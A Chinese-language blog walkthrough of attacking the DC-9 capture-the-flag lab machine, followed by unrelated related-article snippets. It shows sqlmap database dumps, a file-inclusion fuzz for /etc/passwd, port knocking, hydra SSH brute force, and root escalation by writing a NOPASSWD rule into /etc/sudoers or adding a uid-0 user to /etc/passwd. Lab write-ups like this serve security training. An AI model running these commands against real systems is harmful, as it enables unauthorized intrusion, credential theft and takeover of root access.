【DC-9靶场渗透】

news2024/11/16 20:55:33

文章目录

前言

一、确定靶机地址

二、信息收集

三、寻找漏洞

四、进一步漏洞挖掘

五、关键文件

六、ssh爆破

七、提权

总结


前言

马上过年了,年前再做一下DC靶场最后一个靶机。


一、确定靶机地址

1、可使用arp-scan命令

靶机地址为:172.16.100.109

二、信息收集

1、nmap探测开放端口及服务

开放了80端口,22端口为filtered状态,可能有防火墙也可能关闭。

2、访问http服务

三、寻找漏洞

此页面有许多用户名,和地址栏显示.php说明这个网页大概率是用PHP编写

注意到这里有个search.php,并且有个搜索框,可能是POST提交方式,抓一下包,看看能不嫩sql注入

可以看到参数search很可能存在sql注入,直接用sqlmap扫描

sqlmap -r search -p search --batch --dbs
sqlmap -r search -p search --batch -D "users" -T "UserDetails" -C "id,username,password" --dump

最后查看到users表中的数据

我们可以将文件内容分割 出来,形成用户名和密码字典。

同时查看另一个数据库Staff

同样在users表中发现了数据,是admin的账户和密码hash值,用MD5破解一下

得到账户密码:admin/transorbital1

但是尝试ssh登录失败。

四、进一步漏洞挖掘

使用admin账户登录页面,但是提示页面不存在,猜测是否有文件包含漏洞

尝试使用fuzz模糊测试,测试参数找到/etc/passwd文件,此处需要网站的cookie,登录网站抓包即可获取

wfuzz -b 'PHPSESSID=nfhibu50l40lmh7g4p989k5u0s' -w /usr/share/wfuzz/wordlist/general/common.txt --hw 100  http://172.16.100.112/manage.php?FUZZ=../../../../etc/passwd

可以看到参数为file,尝试访问一下

五、关键文件

关于knockd服务

但是最关键的文件在本地文件并不常见,那就是/etc/knockd.conf文件,这个文件是配置好端口敲门服务后产生的,关于端口敲门,有如下说明:

如果你有一台公众可访问的服务器,黑客可以轻松扫描其IP地址,查找服务器上的开放端口(尤其是用于SSH的端口22)。将服务器隐藏起来、不让黑客看见的一种方法是使用knockd。knockd是一种端口试探服务器工具。它侦听以太网或其他可用接口上的所有流量,等待特殊序列的端口命中(port-hit)。telnet或Putty等客户软件通过向服务器上的端口发送TCP或数据包来启动端口命中。

端口敲门服务,即:knockd服务。该服务通过动态的添加iptables规则来隐藏系统开启的服务,使用自定义的一系列序列号来“敲门”,使系统开启需要访问的服务端口,才能对外访问。不使用时,再使用自定义的序列号来“关门”,将端口关闭,不对外监听。进一步提升了服务和系统的安全性。

换句话说,如果知道自定义的端口,逐个进行敲门,这样我们就能够开启SSH端口,从而进行连接,所以利用文件包含漏洞来查看knock.conf文件配置,得到自定义端口。

输入/proc/sched_debug查看靶机的任务调用情况,发现开启了knockd服务

输入/etc/knockd.conf,得到敲门端口的顺序

nmap -p 7469 172.16.100.112
nmap -p 8475 172.16.100.112
nmap -p 9842 172.16.100.112

再探测一下端口

这里尝试几次不行可以重启靶机,前后IP有变化不用在意

六、ssh爆破

前面我们利用搜集的信息已经形成了用户名和密码字典,使用hydra工具进行登陆测试

hydra -L users -P password 172.16.100.113 ssh

发现有三个用户可以ssh登录

后续我们可以都登陆一下,查看各自账户里的文件信息

最终对比发现,janitor用户有一个密码.txt 

我们将密码内容复制到之前的密码本中,再次进行爆破尝试

发现一个新用户可以ssh登录

使用新用户进行登录

七、提权

查看sudo可以执行的命令,发现可以不用密码执行一个test文件

运行这个文件提示使用python test.py带参数执行

找一下这个文件

进入文件查看内容,分析代码可知这个文件的功能是读取文件1的内容然后写入到文件2

这里提供两种提权方法:

方法一:写一个授权文件,fredf用户可以在all地方以root不需密码执行all命令

方法二:使用Openssl构造加密密码,构造新用户admin为root权限

方法一:

echo "fredf ALL=(root) NOPASSWD:ALL" >> /tmp/sudo.txt
sudo /opt/devstuff/dist/test/test  /tmp/sudo.txt /etc/sudoers

尝试切换到root

提权成功

方法二:

利用openssl创建密码,创建后参照/etc/passwd中格式写入文本中

openssl passwd -1 -salt admin 123456 
echo 'admin:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0::/root:/bin/bash' >> /tmp/passwd

执行

sudo  /opt/devstuff/dist/test/test /tmp/passwd /etc/passwd
cat /etc/passwd

su命令切换用户

提权成功。


总结

这次打靶机过程中主要难点是端口为filtered状态时,不知道有knockd服务。需要得知到knockd服务的知识,查找路径,利用knockd连接到ssh。

knockd 服务 默认路径:/etc/knockd.conf ,后续可以了解一下。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1437889.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

编译原理与技术(三)——语法分析(六)自底向上-SLR分析

上一节介绍了LR分析,LR分析包含许多方法,本节介绍的简单的LR方法(SLR)就是其中之一。 一、活前缀 二、LR分析的特点 三、 简单的LR方法(SLR) (一)LR(0)项目 (二&#x…

ES6扩展运算符——三个点(...)用法详解

目录 1 含义 2 替代数组的 apply 方法 3 扩展运算符的应用 ( 1 )合并数组 ( 2 )与解构赋值结合 ( 3 )函数的返回值 ( 4 )字符串 ( 5 )实现了 Iter…

3. 私服方面

目录 3.1 场景 3.2 介绍 3.3 资源上传与下载 3.3.1 步骤分析​编辑 3.3.2 具体操作 maven1:分模块设计开发 maven2:继承与聚合 3.私服 前面我们在讲解多模块开发的时候,我们讲到我们所拆分的模块是可以在同一个公司各个项目组之间进行…

关于PLC数据采集上报,系统平台对接、设备数据转发

设备数据采集上报与系统平台对接 相关案例 PLC与SQLServer,MySQL,PostgreSQL,Oracle数据库双向通讯;HTTP协议GET/POST/PUT请求上报,解析返回数据;MQTT协议JSON/XML文件格式发布/订阅;无需…

MyBatis:轻量级Java持久层框架初探

引言 在Java企业级应用开发领域,ORM框架无疑是构建高性能数据访问层的关键工具之一。MyBatis作为一款轻量级、易于学习且高度可定制化的持久层框架,以其简洁的设计理念、卓越的灵活性和高效的SQL处理能力,赢得了广大开发者的青睐。本文将系统…

肯尼斯·里科《C和指针》第12章 使用结构和指针(2)双链表

12.3 双链表 单链表的替代方案就是双链表。在一个双链表中,每个节点都包含两个指针——指向前一个节点的指针和指向后一个节点的指针。这可以使我们以任何方向遍历双链表,甚至可以随意在双链表中访问。下面的图展示了一个双链表。 下面是节点类型的声明&…

运维备忘录』之 TAR 命令详解

运维人员不仅要熟悉操作系统、服务器、网络等只是,甚至对于开发相关的也要有所了解。很多运维工作者可能一时半会记不住那么多命令、代码、方法、原理或者用法等等。这里我将结合自身工作,持续给大家更新运维工作所需要接触到的知识点,希望大…

go语言每日一练——链表篇(六)

传送门 牛客面试必刷101题—— 判断链表中是否有环 牛客面试必刷101题—— 链表中环的入口结点 题目及解析 题目一 代码 package mainimport . "nc_tools"/** type ListNode struct{* Val int* Next *ListNode* }*//**** param head ListNode类* return bool…

java日志框架总结(五、logback日志框架)

一、logback概述 Logback是由log4j创始人设计的又一个开源日志组件。 Logback当前分成三个模块: 1、logback-core, 2、logback- classic 3、logback-access。 1)logback-core是其它两个模块的基础模块。 2)logback-…

MySQL之建表操作

华子目录 表操作创建表数据类型文本类型数值类型日期/时间类型Bit数据类型常见数据类型 MySQL存储引擎创建表的三个操作创建表时指定存储引擎,字符集,校对规则,行格式 查看表显示数据库中所有表显示数据库中表的信息(表结构&#…

flutter监听app进入前后台状态的实现

在开发app的过程中,我们经常需要根据app的前后台的状态,做一些事情,那么我们在flutter中是如何实现这一监听的? flutter给我们提供了WidgetsBindingObserver来进行一些状态的判断,但是判断前后台的状态只是该API种其中…

红队打靶练习:PHOTOGRAPHER: 1

目录 信息收集 1、arp 2、nmap 3、nikto 目录扫描 1、gobuster 2、dirsearch WEB 信息收集 enum4linux smbclient 8000端口 CMS利用 信息收集 文件上传漏洞利用 提权 信息收集 get user.txt get flag 信息收集 1、arp ┌──(root㉿ru)-[~/kali] └─# a…

C#中实现串口通讯(使用SerialPort类)

仅作自己学习使用 1 准备部份 需要两个调试软件commix和Virtual Serial Port Driver,分别用于监视串口和创造虚拟串口。 第一个软件是这样的: 资源在这里:免费下载:Commix 也可以前往官网下载:Bwsensing— Attitude…

苹果macbook电脑删除数据恢复该怎么做?Mac电脑误删文件的恢复方法

苹果电脑删除数据恢复该怎么做?Mac电脑误删文件的恢复方法 如何在Mac上恢复误删除的文件?在日常使用Mac电脑时,无论是工作还是娱乐,我们都会创建和处理大量的文件。然而,有时候可能会不小心删除一些重要的文件&#x…

【GPT】一个高效使用excel获得结果的案例

问:请介绍通过规划求解,求出以最低成本购买固定数量礼品的方法。 ChatGPT: 通过规划求解方法,可以确定以最低成本购买固定数量礼品的方法。以下是使用规划求解进行最低成本购买礼品的一般步骤。 1.定义目标: 明确目标是以最低成本购买固定数量的礼品。…

哪个牌子的游泳耳机质量好又耐用?性价比高的游泳耳机品牌排行榜

如今,越来越多的人开始注重运动健身,并在运动时习惯享受音乐的陪伴。市场上的运动耳机种类繁多,以蓝牙耳机为主流。然而,在一些特定的运动项目,尤其是游泳,将手机放在附近并不方便。因此,如果在…

SpringMVC原理(设计原理+启动原理+工作原理)

文章目录 前言正文一、设计原理1.1 servlet生命周期简述1.2 设计原理小结 二、启动原理2.1 AbstractHandlerMethodMapping 初始化 --RequestMapping注解解析2.2 DispatcherServlet 的初始化2.3 DispatcherServlet#initHandlerMappings(...) 初始化示例说明 三、工作原理 前言 …

2023年12月CCF-GESP编程能力等级认证C++编程一级真题解析

一、单选题(共15题,共30分) 第1题 以下C++不可以作为变量的名称的是( )。 A:CCF GESP B:ccfGESP C:CCFgesp D:CCF_GESP 答案:A 第2题 C++表达式 10 - 3 * (2 + 1) % 10 的值是( )。 A:0 B:1 C:2 D:3 答案:B 第3题 假设现在是上午十点,求出N小时(正整数…

「 CISSP学习笔记 」08. 安全运营

该知识领域涉及如下考点,具体内容分布于如下各个子章节: 理解并遵守调查执行记录和监控活动执行配置管理 (CM)(例如,预配、基线、自动化)应用基本的安全操作概念应用资源保护执行事故管理执行和维护检测和预防措施实施…

基于微信小程序校园浴室预约系统设计与实现(php+mysql后台)

博主介绍:黄菊华老师《Vue.js入门与商城开发实战》《微信小程序商城开发》图书作者,CSDN博客专家,在线教育专家,CSDN钻石讲师;专注大学生毕业设计教育和辅导。 所有项目都配有从入门到精通的基础知识视频课程&#xff…